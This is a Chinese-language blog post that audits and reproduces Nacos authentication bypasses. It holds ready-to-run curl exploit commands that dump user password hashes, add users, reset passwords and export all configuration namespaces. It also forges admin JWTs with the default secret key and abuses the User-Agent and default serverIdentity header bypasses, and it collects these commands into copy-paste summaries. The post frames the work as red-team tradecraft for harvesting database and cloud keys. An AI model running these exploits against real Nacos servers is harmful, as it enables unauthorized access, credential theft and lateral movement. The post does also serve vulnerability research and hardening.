NACOS漏洞深入解析(审计+复现)
〇、参考链接
Authentication
https://github.com/alibaba/nacos/issues/1105
【v2.1.0】access_token访问漏洞 · Issue #9830 · alibaba/nacos · GitHub
云原⽣组件Nacos新型红队手法研究
【安全记录】- Nacos accessToken 权限认证绕过漏洞及思考 - 知乎
Nacos 身份认证绕过漏洞QVD-2023-6271
感谢各位师傅的文章,若有未标注或者侵权,请联系进行修改删除。
一、NACOS简介
NACOS是动态命名和配置服务(Dynamic Naming and Configuration Service)的首字母简称,一个易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos 发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
具体介绍参考: 什么是 Nacos
二、鉴权
参考官方文档https://nacos.io/zh-cn/docs/auth.html
其中有以下几点比较重要:
1.Nacos是一个内部微服务组件,需要在可信的内部网络中运行,不可暴露在公网环境,防止带来安全风险。
2.Nacos提供简单的鉴权实现,为防止业务错用的弱鉴权体系,不是防止恶意攻击的强鉴权体系。
3.默认是不需要登录的
4.开启鉴权之后,可以自定义用于生成JWT令牌的密钥(application.properties)
5.第四点中的密钥默认为:SecretKey012345678901234567890123456789012345678901234567890123456789
非Docker环境
按照官方文档配置启动,默认是不需要登录的,这样会导致配置中心对外直接暴露。而启用鉴权之后,需要在使用用户名和密码登录之后,才能正常使用nacos。
开启鉴权之前,application.properties中的配置信息为:
### If turn on auth system: nacos.core.auth.enabled=false
开启鉴权之后,application.properties中的配置信息为:
### If turn on auth system: nacos.core.auth.system.type=nacos nacos.core.auth.enabled=true
自定义密钥
开启鉴权之后,你可以自定义用于生成JWT令牌的密钥,application.properties中的配置信息为:
注意:文档中提供的密钥为公开密钥,在实际部署时请更换为其他密钥内容,防止密钥泄漏导致安全风险。在2.2.1版本后,社区发布版本将移除以文档如下值作为默认值,需要自行填充,否则无法启动节点。密钥需要保持节点间一致,长时间不一致可能导致403 invalid token错误。
### The default token(Base64 String): nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
自定义密钥时,推荐将配置项设置为Base64编码的字符串,且原始密钥长度不得低于32字符。例如下面的的例子:
### The default token(Base64 String): nacos.core.auth.default.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=
注意:鉴权开关是修改之后立马生效的,不需要重启服务端。
三、API
参考官方api文档https://nacos.io/zh-cn/docs/open-api.html
顺便一提,其中提供的接口均为v1类型。
四、部署
sudo apt-get update sudo apt-get install default-jdk sudo ufw disable wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.zip unzip nacos-server-2.2.0.zip cd nacos/bin bash startup.sh -m standalone
实际按照github方式部署如下:
Step 1: Download the binary package
You can download the package from the latest stable release.
Take release nacos-server-1.0.0.zip for example:
unzip nacos-server-1.0.0.zip cd nacos/bin
Step 2: Start Server
On the Linux/Unix/Mac platform, run the following command to start server with standalone mode:
sh startup.sh -m standalone
On the Windows platform, run the following command to start server with standalone mode. Alternatively, you can also double-click the startup.cmd to run NacosServer.
startup.cmd -m standalone
For more details, see quick-start.
本地linux:
本地win11:
访问 http://127.0.0.1:8848/nacos,默认的账号密码为nacos/nacos。
五、漏洞复现
首先尝试使用老版本的payload尝试能不能打。
curl ‘http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9‘ -H ‘User-Agent: Nacos-Server’
返回错误信息。
caused: Parameter conditions “search=blur” OR “search=accurate” not met for actual request parameters: pageNo={1}, pageSize={9};%
我们仔细看一下报错,提示说是缺少search=blur或者search=accurate,那我们加上再试试看。
curl ‘http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur‘ -H ‘User-Agent: Nacos-Server’ curl ‘http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate‘ -H ‘User-Agent: Nacos-Server’
成功。
未开启auth
由于默认是不开auth的,所以我们先来讨论未开启auth的情况。
读取用户账号密码
curl -X GET ‘http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur‘ {“totalCount”:1,”pageNumber”:1,”pagesAvailable”:1,”pageItems”:[{“username”:”nacos”,”password”:”$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu”}]}
未授权添加用户
curl -X POST ‘http://192.168.244.123:8848/nacos/v1/auth/users?username=test1&password=test1‘ {“code”:200,”message”:null,”data”:”create user ok!”}
任意用户密码更改
curl -X PUT ‘http://192.168.244.123:8848/nacos/v1/auth/users?accessToken=‘ -H ‘User-Agent:Nacos-Server’ -d ‘username=test1&newPassword=test2’
基本上目前主流针对Nacos的利用手法就停留在这里了,以至于防守方会通过WAF规则的形式来拦截掉这几个url请求。
但是根据代码审计以及官方的api接口文档,我们还能找到许多可以利用的接口。
代码审计
下载源码后通过简单查找发现在
nacos/config/src/main/java/com/alibaba/nacos/config/server/constant/Constants.java和
nacos/core/src/main/java/com/alibaba/nacos/core/utils/Commons.java文件下,有相关路由的定义,相关代码如下:
public static final String BASE_PATH = "/v1/cs";
public static final String BASE_V2_PATH = "/v2/cs";
public static final String OPS_CONTROLLER_PATH = BASE_PATH + "/ops";
public static final String CAPACITY_CONTROLLER_PATH = BASE_PATH + "/capacity";
public static final String COMMUNICATION_CONTROLLER_PATH = BASE_PATH + "/communication";
public static final String CONFIG_CONTROLLER_PATH = BASE_PATH + "/configs";
public static final String CONFIG_CONTROLLER_V2_PATH = BASE_V2_PATH + "/config";
public static final String HEALTH_CONTROLLER_PATH = BASE_PATH + "/health";
public static final String HISTORY_CONTROLLER_PATH = BASE_PATH + "/history";
public static final String HISTORY_CONTROLLER_V2_PATH = BASE_V2_PATH + "/history";
public static final String LISTENER_CONTROLLER_PATH = BASE_PATH + "/listener";
public static final String NAMESPACE_CONTROLLER_PATH = BASE_PATH + "/namespaces";
public static final String METRICS_CONTROLLER_PATH = BASE_PATH + "/metrics";
public final class Commons {
public static final String NACOS_SERVER_CONTEXT = "/nacos";
public static final String NACOS_SERVER_VERSION = "/v1";
public static final String NACOS_SERVER_VERSION_V2 = "/v2";
public static final String DEFAULT_NACOS_CORE_CONTEXT = NACOS_SERVER_VERSION + "/core";
public static final String NACOS_CORE_CONTEXT = DEFAULT_NACOS_CORE_CONTEXT;
public static final String NACOS_CORE_CONTEXT_V2 = NACOS_SERVER_VERSION_V2 + "/core";
}
我们可以看到有V1、V2两种API接口,我们根据不同类型再具体分析。
获取配置数据
根据官方OpenAPI的说明,你需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。
curl -X GET ‘http://192.168.244.123:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos‘
看一下/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java文件中369行开始的代码。
/**
* Query the configuration information and return it in JSON format.
*/
@GetMapping(params = "search=accurate")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> searchConfig(@RequestParam("dataId") String dataId, @RequestParam("group") String group,
@RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
Map<String, Object> configAdvanceInfo = new HashMap<>(100);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfo4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}
/**
* Fuzzy query configuration information. Fuzzy queries based only on content are not allowed, that is, both dataId
* and group are NULL, but content is not NULL. In this case, all configurations are returned.
*/
@GetMapping(params = "search=blur")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> fuzzySearchConfig(@RequestParam("dataId") String dataId,
@RequestParam("group") String group, @RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
MetricsMonitor.getFuzzySearchMonitor().incrementAndGet();
Map<String, Object> configAdvanceInfo = new HashMap<>(50);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfoLike4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}
我们可以看到首先先进行了
signType = SignType.CONFIG的权限检查,这里的signType的一个作用就是检查auth是否开启,但是之前也提到过,auth是默认不开启的。接着我们继续分析,当参数
line4 search=accurate/line31 search=blur时,从GET请求中获取参数dataId、group、appName、tenant、config_tags、pageNo、pageSize参数,其中appName、tenant、config_tags不是必填的,接着先检查appName和configTags是否为空,我们直接留空或者不填就能绕过这个判断,然后全部返回。
所以我们直接构造参数,就可以发现能够获取全部的配置文件了。
curl -X GET ‘http://192.168.244.123:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’
或者,
curl -X GET ‘http://192.168.244.123:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
但这里有个问题,这只能获取默认命名空间
public里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面。
获取其他Namespace的配置数据
根据官方的OpenAPI文档描述,可以直接请求获取。
curl -X GET ‘http://192.168.20.144:8848/nacos/v1/console/namespaces‘
我们查看对应的代码,处理namespace的代码在
nacos/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java这里,我们看从48行开始的代码,相关代码如下:
@RestController
@RequestMapping("/v1/console/namespaces")
public class NamespaceController {
@Autowired
private CommonPersistService commonPersistService;
@Autowired
private NamespaceOperationService namespaceOperationService;
private final Pattern namespaceIdCheckPattern = Pattern.compile("^[\\w-]+");
private static final int NAMESPACE_ID_MAX_LENGTH = 128;
/** * Get namespace list. * * @return namespace list */
@GetMapping
public RestResult<List<Namespace>> getNamespaces() {
return RestResultUtils.success(namespaceOperationService.getNamespaceList());
}
这样一看上去,直接访问就能获取到Namespace列表,我们再跟一下
namespaceOperationService.getNamespaceList()
public List<Namespace> getNamespaceList() {
// TODO 获取用kp
List<TenantInfo> tenantInfos = commonPersistService.findTenantByKp(DEFAULT_KP);
Namespace namespace0 = new Namespace("", DEFAULT_NAMESPACE, DEFAULT_QUOTA,
configInfoPersistService.configInfoCount(DEFAULT_TENANT), NamespaceTypeEnum.GLOBAL.getType());
List<Namespace> namespaceList = new ArrayList<>();
namespaceList.add(namespace0);
for (TenantInfo tenantInfo : tenantInfos) {
int configCount = configInfoPersistService.configInfoCount(tenantInfo.getTenantId());
Namespace namespaceTmp = new Namespace(tenantInfo.getTenantId(), tenantInfo.getTenantName(),
tenantInfo.getTenantDesc(), DEFAULT_QUOTA, configCount, NamespaceTypeEnum.CUSTOM.getType());
namespaceList.add(namespaceTmp);
}
return namespaceList;
}
看上去也没有做什么限制,我们直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间。
这时候我们已经拿到了namespace、namespaceShowNmae,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant参数获取的就是namespace,我们直接把tenant=test_namespace加进去构造请求,轻松读取到非public空间的数据。
curl -X GET ‘http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test\_namespace‘
配置文件导出
就在我看上面上面这部分代码的时候,我们无意中发现了一个下载文件的接口,还是这个文件,找到了疑似导出配置文件的接口,我们继续跟进一下。
/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java
接着我们在482行看到了相关代码。
根据逻辑,我们很轻松的构造出下载的链接,跟上面的类似,其中tenant为空默认下载public命名空间,如果要下载其他命名空间的配置文件则重复之前的先获取Namespace即可。
http://192.168.20.144:8848/nacos/v1/cs/configs?export=true&tenant=test\_namespace&group=&appName=&ids=
现在来看,之所以因为官方觉得不开启auth不算是漏洞,是因为根据官网OpenAPI来看,你需要知道具体的
Data Id 以及Group才能读到具体配置,但是攻击者总能够通过代码审计的方法找到其他参数进行绕过。
目前攻防对抗实战中,Nacos的环境遇到非常多,并且无一例外都没有开启auth,很多防守方甚至只是用防火墙阻断网上公开的那几条exp利用的关键地址,Nacos里面保存了企业很多的配置文件比如数据库连接信息、AK/SK信息等等,拿到账号密码等信息之后用来做密码本,然后再进行内网横向,杀伤力非常之大。
参考链接
https://nacos.io/en-us/docs/auth.html
https://github.com/alibaba/nacos/issues/1105
开启auth
“E:\nacos-server-2.2.0\nacos\conf\application.properties”
修改文件的line135 ,原始为:
参考官方给出的配置:
修改为:
按照官方的说法,该配置可以热更新,不过为了保险起见, 还是重启了服务。
此时已经开启了auth,但是还未修改默认密码。
整理的curl命令
再次进行尝试。
nacos 汇总
读取用户账号密码
curl -X GET 'http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur'
未授权添加用户
curl -X POST 'http://192.168.244.123:8848/nacos/v1/auth/users?username=test1&password=test1'
任意用户密码更改
curl -X PUT 'http://192.168.244.123:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'
curl -X GET 'http://192.168.244.123:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’
curl -X GET 'http://192.168.244.123:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
获取其他Namespace的配置数据
curl -X GET 'http://192.168.244.123:8848/nacos/v1/console/namespaces'
curl -X GET 'http://192.168.244.123:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace'
配置文件导出
http://192.168.20.144:8848/nacos/v1/cs/configs?export=true&tenant=test_namespace&group=&appName=&ids=
可以看到,直接返回403.
UA头中包含Nacos-Server
在1.2~1.4.0版本期间,通过User-Agent中是否包含Nacos-Server来进行判断请求是否来自其他服务端。
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
}
受影响版本中,application.properties为nacos.core.auth.enable.userAgentAuthWhite=true
UA头中包含Nacos-Server就可以通过认证访问需要鉴权的接口:
curl “http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur“ -H “User-Agent: Nacos-Server”
我们使用的版本是2.2 ,尝试:
不出所料,确实不行。
默认自定义身份识别标志
从1.4.1版本开始,Nacos添加服务身份识别功能,用户可以自行配置服务端的Identity,不再使用User-Agent作为服务端请求的判断标准。
else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (StringUtils.isNotBlank(serverIdentity)) {
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
}
}
开启方式:
### 开启鉴权
nacos.core.auth.enabled=true
### 关闭使用user-agent判断服务端请求并放行鉴权的功能
nacos.core.auth.enable.userAgentAuthWhite=false
### 配置自定义身份识别的key(不可为空)和value(不可为空)
nacos.core.auth.server.identity.key=example
nacos.core.auth.server.identity.value=example
application.properties配置中,默认server.identity值为:
nacos.core.auth.server.identity.key=serverIdentity nacos.core.auth.server.identity.value=security
使用这两个默认值作为请求头就可以访问需要鉴权的接口:
curl “http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur“ -H “serverIdentity: security”
成功。
账户信息 / JWT accessToken
如果前面的认证方式都没有通过,后面就会进行账户 / accessToken进行验证。
IdentityContext identityContext = protocolAuthService.parseIdentity(req);
获取与identity相关的字段信息,包含的信息如下:
经过分析,username和password为一组凭据;accessToken、Authorization各为一组凭据。
username和password认证成功后,使用key加密username为JWT的token;
curl “http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&username=nacos&password=nacos“
accessToken、Authorization则是直接的JWT token。
配置文件中JWT默认key为SecretKey012345678901234567890123456789012345678901234567890123456789;
user/passwd
默认的管理员用户名为nacos;默认密码为nacos
通过正确的用户名密码可以鉴权成功,这里可能存在弱口令。
accessToken
curl “http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU“
上面的没有执行成功
可以看到报错提示:token expired 说明超期了,于是——
JWT:
获取任意一个nacos的accessToken放到jwt.io,修改为默认的secretkey和未来的一个时间戳,可以生成万能accessToken。如下面是一个默认的accessToken
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODgwNzIwMH0.2dhqPPzwwmrnekYpxCR1nWooJhnlrJBu0HuNct0JsUQ
放到JSON Web Tokens - jwt.io
然后将exp拿出来进行时间戳转换:时间戳(Unix timestamp)转换工具 - 在线工具
可以看到原有的时间戳是3月14已经过期。
直接新建一个2033年的 1995438128
转换回去得到:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTk5NTQzODEyOH0.F295HuB7i2Ccyj7S6ZVRvZlb-yscNyL5ov4I5lFVSTU
利用:
修改密码
curl -X PUT “http://192.168.244.123:8848/nacos/v1/auth/users?username=nacos&newPassword=123456&pageNo=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTk5NTQzODEyOH0.F295HuB7i2Ccyj7S6ZVRvZlb-yscNyL5ov4I5lFVSTU“
新建用户test2
curl “http://192.168.244.123:8848/nacos/v1/auth/users“ -X POST -H “Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTk5NTQzODEyOH0.F295HuB7i2Ccyj7S6ZVRvZlb-yscNyL5ov4I5lFVSTU” -d “username=test2&password=test2”
Authorization
使用Authorization需要加上”Bearer “
利用Authorization登录:
curl “http://192.168.244.123:8848/nacos/v1/auth/users/login“ -X POST -H “Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTk5NTQzODEyOH0.KSFTu7Cwi3ofgclAFImctUHZERZj6WavjlH37db1FTY” -d “username=nacos&password=1”
报错:token invalid! 分析了下,是jwt忘加上密钥了,回去改了一下重新生成
curl “http://192.168.244.123:8848/nacos/v1/auth/users/login“ -X POST -H “Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTk5NTQzODEyOH0.F295HuB7i2Ccyj7S6ZVRvZlb-yscNyL5ov4I5lFVSTU” -d “username=nacos&password=1”
成功。
开启auth且修改密钥
如图,在密钥最后加a
这次直接热更新。
开启auth 的 汇总
UA头中包含Nacos-Server
curl "http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "User-Agent: Nacos-Server"
默认自定义身份识别标志
curl "http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"
账户信息 / JWT accessToken
curl "http://192.168.244.123:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&username=nacos&password=nacos"
accessToken
利用Authorization登录:
curl "http://192.168.244.123:8848/nacos/v1/auth/users/login" -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTk5NTQzODEyOH0.KSFTu7Cwi3ofgclAFImctUHZERZj6WavjlH37db1FTY" -d "username=nacos&password=1"
执行如上四条指令,发现除了最后一种方式无法使用外,其余均可以执行。
到目前来看
官方人员的回复没有问题,在非docker情况下,鉴权确实可以生效。
但是这里没有验证docker情形下,是否能够复现原问题。
另外,虽然修改了鉴权确实可以生效,但是依然可能存在以下几个问题:
1.默认是不进行鉴权的。
2.默认用户密码为:nacos/nacos 存在弱口令问题
3.低版本存在User-Agent鉴权问题
4.application.properties配置中,默认server.identity值为:nacos.core.auth.server.identity.key=serverIdentity与nacos.core.auth.server.identity.value=security
最后
声明:未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
还没有评论,来说两句吧...